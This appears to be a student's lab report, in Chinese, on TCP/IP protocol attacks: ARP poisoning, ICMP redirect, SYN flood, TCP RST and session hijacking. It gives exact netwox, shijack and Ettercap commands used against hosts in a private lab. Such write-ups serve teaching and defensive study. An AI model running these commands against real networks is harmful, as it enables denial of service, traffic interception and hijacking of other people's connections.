1 实践内容
1.1 TCP/IP网络协议栈攻击概述
- 网络安全属性:机密性、完整性、可用性、真实性、不可抵赖性。
- 网络攻击基本模式
- (被动)截获:嗅探、监听
- (主动)中断:拒绝服务
- (主动)篡改:欺骗
- (主动)伪造
- TCP/IP网络协议是基于可信的网络环境的,因此存在许多安全问题。TCP/IP网络协议栈的分层模型:网络接口层、互联网层、传输层和应用层。针对不同的层出现了不同的攻击技术。
- 原始报文伪造技术以及工具:原始套接字(raw socket)、netwox、netwag
1.2 网络层协议攻击
- | IP源址欺骗 | ARP欺骗 | ICMP路由重定向攻击 |
---|---|---|---|
原理 | 只使用数据包中的目标地址进行路由转发,而不对源地址进行真实性的验证 | 攻击者在有线以太网或者无线网上发送伪造ARP消息,对特定IP所对应的MAC地址进行假冒欺骗 | 利用ICMP路由重定向报文改变主机路由表,向目标主机发送重定向消息,伪装成路由器,使得目标机器的数据报文发送至攻击机从而加强监听 |
工具 | netwox;wireshark;nmap | DSniff中的Arpspoof;arpison;Ettercap;netwox | netwox |
防范措施 | 使用随机化的初试序列号;使用网络层安全传输协议;避免采用基于IP地址的信任策略;在路由器和网关上实施包过滤 | 静态绑定关键主机的IP地址和MAC地址映射关系、使用相应的ARP防范工具、使用VLAN虚拟子网细分网络拓扑、加密是传输数据 | 根据类型过滤一些ICMP数据包,设置防火墙过滤,对ICMP重定向报文判断是不是来自本地路由器的 |
应用 | 拒绝服务攻击;网络扫描;身份认证 | 交换式网络、构造中间人攻击、恶意代码ARP病毒 | - |
1.3 传输层协议攻击
- | TCP RST攻击 | TCP会话劫持攻击 | TCP SYN Flood | UDP Flood |
---|---|---|---|---|
原理 | 伪造TCP重置报文,断开TCP会话连接 | 劫持通信双方已经建立的连接,假冒其中一方的身份与另一方进行进一步通信 | 向目标主机发送大量的伪造源地址的SYN连接请求,消耗目标主机的连接队列资源,从而不能够为正常用户提供服务 | 向目标主机和网络发送大量的UDP数据包,使得目标主机和网络陷入不可用的状态,造成拒绝服务攻击 |
1.4 TCP/IP网络协议栈攻击防范措施
- 检测、预防与加固
- 网络接口层主要监测和预防网络嗅探
- 互联层很难完全避免欺骗攻击的风险,但可采用多种技术进行阻断
- 传输层采用身份验证、访问控制等
- 应用层采用加密、数字签名、入侵检测等
- 网络安全协议
- 下一代互联网协议——以IPv6为代表的下一代互联网协议
2 实践内容
2.1 实验一:ARP缓存欺骗攻击
主机 | Mac地址 | IP地址 |
---|---|---|
kali(A) | 00:0c:29:01:75:b7 | 192.168.200.5 |
SEED(B) | 00:0c:29:8b:d9:6d | 192.168.200.3 |
WinTarget(C) | 00:0c:29:E9:EA:27 | 192.168.200.124 |
- 在主机A中使用
apt-get install netwox
和apt-get install hunt
安装netwox和hunt。 - 主机A使用
netwox 33 -b 00:0c:29:E9:EA:27 -g 192.168.200.3 -h 00:0c:29:e9:ea:27 -i 192.168.200.124
命令,冒充B,对主机C进行欺骗。
2.2 实验二:ICMP重定向攻击
主机 | IP地址 |
---|---|
kali(A) | 192.168.200.5 |
SEED(B) | 192.168.200.3 |
WinXP(C) | 192.168.200.2 |
-
在主机C中查看路由表
-
在主机A中使用
netwox 86 -f "host 192.168.200.2" -g 192.168.200.5 -i 192.168.200.1
使网关重定向为主机A的IP地址
- 再次在主机C中查看路由表,发现主机A的IP地址已经出现
2.3 实验三:TCP SYN Flood攻击
主机 | IP地址 |
---|---|
kali(A) | 192.168.200.5 |
SEED(B) | 192.168.200.3 |
WinXP(C) | 192.168.200.2 |
- 在主机B使用
ftp 192.168.200.2
,输入用户名administrator
,密码mima1234
,登陆成功。
- 在主机A中使用
netwox 76 -i 192.168.200.3 -p 21
进行攻击
- 再次在主机B中尝试登陆,登录失败,攻击成功。
2.4 实验四:TCP RST攻击
-
使用环境与上个实验相同,在主机A使用命令
netwox 78 -i 192.168.200.3
攻击主机B -
登陆时,连接被关闭。
2.5 实验五:TCP会话劫持攻击
-
hunt中出现以下问题。
-
看了解建国同学博客,使用工具shijackk
-
主机A使用命令
git clone https://github.com/revanth5/shijackk.git
下载工具
-
在所在的文件夹中,右键在命令行中打开。
-
使用
sudo ./shijack-lnx eth0 192.168.200.3 34423 192.168.200.124 21
命令出现如下问题(待解决)
-
使用另一种方法,伪造包,把Next Seq Num作为下一个包的ACK,采用ACK作为下一个包的Seq。获取到信息之后,攻击机使用netwox工具伪造B给C发一个tcp包。
netwox 40 --ip4-dontfrag --ip4-offsetfrag 0 --ip4-ttl 64 --ip4-protocol 6 --ip4-src 192.168.200.3 --ip4-dst 192.168.200.124 --tcp-src 34423 --tcp-dst 21 --tcp-seqnum 42 --tcp-acknum 161 --tcp-ack --tcp-psh --tcp-window 64 --tcp-data "68656C6C6F776F726C64"
在ip4-src
后输入你的主机B的地址,在ip4-dst
后输入主机C的地址,tcp-src
表示原端口号(此处为34423),tcp-seqnum
后输入Next Seq
,tcp-acknum
后输入ACK
.(此处忘记截图) -
抓包得到如下结果,并且原会话已经断开。
TCP虚假重传。
当抓到2次同一包数据时,wireshark判断网络发生了重传,同时,wireshark抓到初传包的反馈ack,因此wireshark判断初传包实际并没有丢失,因此称为虚假重传。基于wireshark的判断机制,如果抓包点在客户端的话,虚假重传一般为下行包,因为这时,客户端在收到服务端的下行包后发送反馈ack,并被wireshark抓到,但很有可能服务端未收到此反馈ack,RTO超时,触发服务端重传
(补充)使用ETTERACP进行TCP会话劫持攻击
主机 | IP地址 |
---|---|
kali(A) | 192.168.200.5 |
WinXPM(B) | 192.168.200.6 |
WinXP(C) | 192.168.200.2 |
- 在主机A中打开节点的IP转发功能
cat /proc/sys/net/ipv4/ip_forward//如果结果是0继续输入下一个命令
echo 1 > /proc/sys/net/ipv4/ip_forward
cat /proc/sys/net/ipv4/ip_forward//此时输出的结果应该是1就算是打开成功了
- 执行命令
ettercap -G
,打开Ettercap,记得在Wireshark中进行捕包 - 点击【Sniff-Unified sniffing】选择【eth0】作为嗅探监听接口
- 点击【Hosts -> Scan for hosts】 扫描局域网内攻击目标,并随后在菜单【 Hosts list】中,选择
192.168.200.2
和192.168.200.6
分别为target1和target2.
- 点击【 MITM-> ARP poisoning 】进行ARP欺骗,并选择 【Sniff remote connections 】
- 分别在主机B和C中执行
arp -a
查看MAC地址缓存,已经成功欺骗,可以看到主机A的MAC地址。
- 在主机A中的Ettercap,点击【View->Connections】,查看捕包,具体信息如下。可以看到操作过程。
- 然后查看WireShark捕包情况
3 学习中遇到的问题及解决
- TCP会话劫持攻击实验中shijackk使用出现问题尚未解决,使用另一种方法时捕包也捕到了一个TCP Spurious Retransmission包,了解了一下这个包怎么来的。后来尝试用telnet连接完成实验。
4 实践总结
这些攻击手段十之前上课反复能够听到的,动手做过之后能够更加深刻理解原理。TCP会话劫持攻击这个实验完成的不是很好,接下来将继续研究,解决问题。
5 参考资料
- TCP会话劫持原理与测试
- 《网络攻防技术与实践》